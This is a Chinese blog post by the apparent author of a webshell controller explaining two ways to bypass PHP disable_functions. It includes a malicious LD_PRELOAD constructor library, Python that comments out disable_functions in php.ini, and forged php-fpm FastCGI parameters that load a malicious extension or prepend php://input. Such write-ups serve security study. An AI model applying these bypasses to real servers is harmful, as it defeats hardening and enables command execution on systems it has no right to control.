从shell-hack的角度来看待bypass disable_functions

前言:

​ 之前大二暑假开发了一款基于终端的webshell-controller;相应的代码开源选择了在中秋节前夕;在后期的比赛当中也展现出相应的风采,比如上海的极客谷杯中相应的数据库操作和反弹shell之类的操作完美施展,没有什么错误;在shell-hack中我个人加入相对比较重要的一些点是支持bypass disable_functions;

下面主要介绍两个bypass的原理实现;

正文:

​ shell-hack有多种bypass disable_functions的方法;我选取一部分的相关的实现原理和我开发的思路在此简要的记录;

LD_PRELOAD

先来看相应的bypass流程实现;

TPLotI.png

​ 为了方便使用,我这直接将其bypass功能融合在一个选择器中;主要的原理其实也就是利用mail或者imap_mail或者error_log去进行相关底层getuid的劫持或者利用gcc拓展修饰符去劫持掉整个进程;因为mail和error_log又或者imap_mail其实现的效果是会去调用linux的sendmail命令,sendmail底层实现是有一步是调用C中的getuid函数进行实现;所以就可劫持;但是为了拓展攻击面,往往采用后者去利用gcc拓展修饰符劫持掉整个进程;

利用putenv函数设置LD_PRELOAD环境变量,加载恶意的拓展库;这里为了持续执行命令我设置的是直接开启新端口;新端口采用-c去指定相应的恶意ini执行;xxx函数的执行优先级高于main;在so被加载的时候会直接执行;又因为新进程最开始的第一步是需要去加载env;当解析到LD_PRELOAD的时候就会去相应的path下加载构造的恶意拓展库;所以xxx函数整体的执行优先级最高;

1
2
3
4
5
6
7
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((__constructor__)) void xxx (void){
unsetenv("LD_PRELOAD");
system("php -S 0.0.0.0:65534 -c /tmp/php.ini");
}

恶意ini获取的方式为以下两个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def test(self):
token = self.random_string()
url = "http://" + self.urls
data = {self.pwd: "echo '"+token+"';echo php_ini_loaded_file();echo '"+token+"';"}
res = requests.post(url=url,data=data)
reqconss = res.content
reqcons = reqconss.decode(encoding="utf-8")
rere = reqcons.split(token, 2)[1]
return rere
def change_phpini(self):

path = self.test()
content = self.readfile(path)
contents = content.replace("disable_functions",";disable_functions")
return contents

通过php_ini_loaded_file函数拿到相应的ini路径,然后调用我设计的readfile接口去进行读取;有意思的是readfile接口我内部实现了四种读文件的方法;会根据相应的server环境去自动识别绕过一般的disable_function限制去读取;读取完之后将disable_functions配置注释掉即可;然后将其传入相应的server的/tmp下方便去包含启用恶意ini;

这里我之前看过蚁剑底层实现原理,蚁剑底层是直接采取-n不启用相应的ini;我当时开发的时候简单的翻了翻文档发现可以采用-c;去指定相应的运载恶意ini;这里就可达到相应的bypass;但是考虑到新开端口,流量无法传入进去;所以需要上一个流量转发脚本;shell-hack中也写好了一套流量转发可以将请求到s1mple.php的流量转发到相应的恶意server端口;

流量转发脚本的原理就是先使用$_SERVER全局数组去拿到相应的请求信息;然后过滤掉非必要信息,然后根据请求的method去进行流量包的构造;如果是post请求,就会去调用file_get_contents(‘php://input); 去读取到相应的post的数据

1
$post_data = file_get_contents('php://input');

然后再将相应的http请求包加以整合,利用php中fsockopen函数去模仿http请求,将请求包发到指定的恶意port;

TPxFi9.png

最后利用fread进行相关数据的读取;最后呈现到客户端;

介绍完了LD_PRELOAD的bypass实现之后再来说一种攻击php-fpm的bypass方式;

众所周知,php代码真正执行的地方是在php-fpm中;当流量达到中间件的时候中间件会调用fast-cgi模块进行解析;用Fast-CGI协议重新封装,然后以相应的规定格式将数据传到后面默认监听在9000端口的php-fpm;php-fpm 据fast-cgi协议将TCP流解析成真正的数据,调用php文件;具体的说php-fpm有两个大进程,一个worker,一个master;master负责相应的监听,接收来自 Web Server 的请求;只有一个进程;

当拿到数据的时候就将相应的数据解析去调用fpm去进行相应的php文件的解析处理。有必要说的是php-fpm并非只是单独的一个。本质上可以将其简单的理解为一个进程池;其中有很多php-fpm进程,每个进程内部都嵌入了一个 PHP 解释器;如果在处理php的时候某个进程发生了崩溃也不会影响到其他的进程;

所以理解了这里相应的攻击思路就已经出来了;可以伪造相应的fastcgi模块解析直接和后面php-fpm进行通信;当然如果细致的划分的话具体还有两种多种利用方式;如果server端相应的设置不当,导致监听127.0.0.1:9000和0.0.0.0:9000混淆,就有可能导致fpm服务接口外漏;就可以直接进行和9000端口交互进行攻击;

P牛之前出过一个python的脚本,直接构造然后利用socket进行send数据进行交互;然后利用recv接受相关的返回数据然后进行解析;

有意思的是看一下p牛脚本中的构造数据属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

主要的实现点是在最后两个属性处;PHP_ADMIN_VALUE可以覆盖php.ini中的配置;SCRIPT_FILENAME用于指定一个执行的脚本文件;所以思路已经很清晰了,利用PHP_ADMIN_VALUE覆盖掉原本ini中的配置文件;将其修改为我们需要去加载的恶意点;

1
'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = s1mple.so",

覆盖掉原本ini中的extension_dir配置和extension配置;将其设置为恶意的so库的path;所以导致php-fpm会去加载恶意的so拓展库;再加载恶意的拓展之后就自然开启了恶意的服务;所以配置SCRIPT_FILENAME这里设置值比较随意,但是这个字段是必要的;没有相应的字段会发生报错;所以我使用的时候直接将其赋值为了相应的php脚本文件(/tmp/s1mple.php);

执行完之后就会在恶意的port上开启一个使用相应/tmp/php.ini的server;但是这里我程序并没有上传相应的ini;所以-c为空;所以就不载入ini开启一个server;蚁剑的底层实现原理是利用-n去进行相应的不载入,效果和我载入为空的效果是一样的;贴一下蚁剑底层;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);//空出固定位置写入命令打包成so或者dll;适用于win和linux;
return fileBuff;
}

最后放一下shell-hack攻击的效果;

TiMVNd.png

两种攻击方式简单介绍完毕,至于还有的攻击cgi_module执行cgi脚本之类的,相对不是很难,更包括php7之后的FFI利用方式;允许php中加载C代码;也可变形的绕过以实现执行C而不经过fpm从而绕过disable_functions;当然还有一些基于底层二进制的,偏移啥的23333;